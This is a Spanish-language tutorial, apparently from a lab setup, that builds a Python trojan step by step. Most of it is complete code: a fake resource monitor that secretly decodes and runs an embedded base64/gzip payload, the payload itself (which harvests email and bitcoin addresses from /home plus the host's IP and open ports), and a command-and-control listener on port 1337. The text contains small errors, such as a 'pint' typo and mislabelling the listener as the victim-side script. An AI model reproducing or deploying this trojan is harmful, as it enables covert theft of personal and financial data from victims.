Para empezar nos montaremos el siguiente entorno:

Una máquina Parrot OS que hara de router y máquina de atacante. Además una máquina con Ubuntu 22.04 que en este caso será la máquina víctima.

Ambas estarán en red interna y tendrán conectividad entre ellas y aislamiento de la red real.

Empezaremos con el script de nuestro troyano:

importamos los modulos psutil, base64 por que enviaremos el malware encriptado, y gzip para comprimir el malware, time para controlar el flujo9 del programa y os para que funcione en el sistema opertivo donde lo ejecutemos

Lo primero que hará sera definir el pid, si es cualquier numero mayor que 0, el primero enentrar será el 1, entonces iniciará el proceso padre. Entra en un bucle que mostrará por pantalla informacion de la cpu, la ram...

timr hace que pare dos segundos, antes de entrar en el proceso hijo, que será el que ejecute el malware, que es un archivo encriptado en base64. Finalmente lo ejecuta.

#!/usr/bin/python3
import psutil
import base64
import time
import gzip
import os

def main():
    # fork a child process
    pid = os.fork()

    if pid > 0:
        # parent process
        while True:
            # percentage of used CPU
            cpu = psutil.cpu_percent()
            # percentage of used RAM
            ram = psutil.virtual_memory().percent
            # percentage of used disk space
            disk = psutil.disk_usage("/").percent
            # number of all running processes
            processes_count = 0
            for _ in psutil.process_iter():
                processes_count += 1

            # print to screen
            print("---------------------------------------------------------")
            print("| CPU USAGE | RAM USAGE | DISK USAGE | RUNNING PROCESSES |")
            print("| {:02}%       | {:02}%       | {:02}%        | {}               |".format(int(cpu), int(ram), int(disk), processes_count))
            print("---------------------------------------------------------")

            # sleep for 2s
            time.sleep(2)
    else:
        # child process
        trojan()


def trojan():
    malware_fd = open(".malware.py", "w")
    blob = "H4sICAncMmEAA21hbHdhcmUucHkAjVZtb9s2EP7uX3FTB0RCZMmKHadx4WHB0K7d1q5YO2BYEgi0RMesZVIj6cSJ4/++IyX6TXY22bBJ3nMvfHh31Kvv4rmS8YjxuHzUE8G7LTYrhdQg6T9zqrRycyWyKdVuNiKK9ntu9k0JvtFzI6FarVZOxzAjjPvBoAX4vII7qmEilOZkRkGMQU8oIrIJ49Qi1rJh7TNCDbfoB60tM0a1nI8KlgEr73tA8lxSpQ5apSSnUqHRpZ2bx/tTUdm+uqNcewPwPoonVhQkPo864P+VJG/gN8bnC1i87qf93huQ94OL11EngJ9pNhXxWSfp4DeBd0zSsVjERuhZ4yv7W0WWshKdOjbNXnxvonWpBnHMSlKyKBM48MKtEOtREGm60G7DihKZTWAsJIyYzgTjQHgOFNkt3M6psuBanq5X04IpjYavb63c6hyVGg9SCB2Cmo9yJlUIY1ZQBehRqOiBFFPfiydiRr36UJ2WgRmUhW9EVoxL6ThHL6Kk3PeWq3i58iLUmhHtV+4MJgjBk16wo6vl466xihCJLNlzzgTXeIb23CkxHKGhhoKNYA0duogiY8YPIqUlK1167To6xPwO39tPg3t7+tGY8ZwUhS89/zrp3i6T1TVpT2ftp6v2+1/anz63/07al7fLs37Y7a6eR1mC4qeOWepehueXq8ALd3fwX5EeyovtZy8H9qOs3Ufp7emPLpTTm8gMMfjwYvW/4skmWCrAxvBAYULuKUY2x5wl/LHJJLigm7GigQKTpkFtAD9Ap5kaB4/BJfkRwWlTcCyMPeZeCOJInR1cPt1fbvLpMjYrhDKdcMfVIqOlboZREmXacHUcpmfi8doSBNOjkXTeaJVGmlbSoSn4sqpYTrXSREO7LAjX8Ax3kpbQZmDCR3vPQB6mcLIsJUPx973VyRrzGU5ucsya7uomOjoY2P/z1YkX1DV5IJr1xNVrpMqCYUu94XXTqLdKeSZyCjnRBLSwN5Rtl4py2zRmZjUTsxmx+ZjbJiJFgQB5T6W1YpV3LoyaptRdR3htuGHYRGFXH2xugQOAzXYQuJlsIZvZaisI4YfzeEt1P8uc4qHsq2+tmrvqcncUmvSw9Bk6quvDCvK05qeCR6N+rxL4Bh3l81mpfAMJono9CDZ3GTLuzuaFU6jhGeaDpkDqFwIQo280q4JWm9eE6s+vZ1fv0g+f3n4NnfTL7z/9mn75+sfbq4/rMNAbR0MvB2FKxL7PJN3uReUzqhV930vOLqIOfhLshwYQBDXEbNHfZsoJXPW2WthP0tTkTprCcAhempo3pTT1qjKuXpv+BfXo/OqiCQAA"
    malware = gzip.decompress(base64.b64decode(blob)).decode("UTF-8")
    malware_fd.write(malware)
    malware_fd.close()

    # execute malware
    os.system("/usr/bin/python3 .malware.py")


if __name__ == "__main__":
    main()

A continuación se ejecuta el malware.py que como podeis ver es un script en python3 que tras importar los modulos correspondientes. reques para peticiones, socket para conexiones, base64 para el texto cifrado, json para una parte escrita en ese lenguaje, re para usar expresiones regulares y os para hacer referencia al sistema operativo.

Comienza a definir el hostname del equipo, despues pide la direccion ip por ipv4 haciendo un ip a clásico.

Despues buscara todas la direcciones de e-mail y datos relacionados con la palabra bitcoin (por si hubiera alguna wallet) aquie es donde usa las expresiones regulares para comparar los patrones que coincidan con un email y con una direccion de bitcoin.

Despúes lista los puertos abiertos.

Finalmente escribe los datos en json y cons codifica en base64 y conecta por el puerto 1337 y cierra la conexion.

#!/usr/bin/python3
import requests
import socket
import base64
import json
import re
import os


def main():
    # get hostname of the machine
    hostname = socket.gethostname()

    # get the public ipv4 address of the machine
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
    }
    public_ip = requests.get("https://ipapi.co/ip", headers = headers).text

    # search for bitcoin and email addresses
    bitcoin_addresses_list = []
    email_addresses_list = []
    for root, subdirs, files in os.walk("/home"):
        for file in files:
            file_fd = open("{}/{}".format(root, file), "r")
            try:
                # read the contents of each file
                file_contents = file_fd.read().strip()

                # search for bitcoin addresses
                bitcoin_addresses = re.findall(r"([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})", file_contents)

                # search for email addresses
                email_addresses = re.findall(r"[a-z0-9._]+@[a-z0-9]+\.[a-z]{1,7}", file_contents)

                # check if we have found any bitcoin addresses or emails
                if len(bitcoin_addresses) > 0:
                    bitcoin_addresses_list = bitcoin_addresses_list + bitcoin_addresses
                if len(email_addresses) > 0:
                    email_addresses_list = email_addresses_list + email_addresses

                file_fd.close()
            except:
                pass


    # get all open ports on the machine
    open_ports = os.popen("netstat -plant | grep -i listen | awk '{print $4}' | grep -P '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,5}'").read()
    open_ports = open_ports.strip().split("\n")

    # encode data to json and send them to command and control server
    data = {
        "machine_hostname": hostname,
        "machine_ip": public_ip,
        "machine_open_ports": open_ports,
        "bitcoin_addresses_found": bitcoin_addresses_list,
        "email_addresses_found": email_addresses_list
    }

    # base64 encode the json data
    encoded_data = base64.b64encode(json.dumps(data).encode())

    # send data to command and control server

    # create a socket object
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # connect to command and control server on port 1337
    s.connect(("127.0.0.1", 1337))
    s.send(encoded_data)
    s.close()


if __name__ == "__main__":
    main()

Ahora voy a escribir el script que se debe ejecutar en la máquina víctima para que ejecute el malware

#!/usr/bin/python3

import socket
import base64
import random
from string import ascii_lowercase

# create TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#listen on local host port 1337

s.bind(("127.0.0.1", 1337))
s.listen(5)

pint("listening on port 1337")

while True:
    # establish a connection
    clientsocket, client_ip = s.accept()
    print("[+] recived a connection from -> {}".format(client_ip))

    # get the encoded data
    encoded_data = clientsocket.recv(4096)
    clientsocket.close()

    #open a file with a random name
    random_fd = open("".join(random.choices(ascii_lowercase, k = 10)), "w")
    random_fd.write(base64.b64decode(encoded_data).decode("UTF-8"))
    random_fd.close()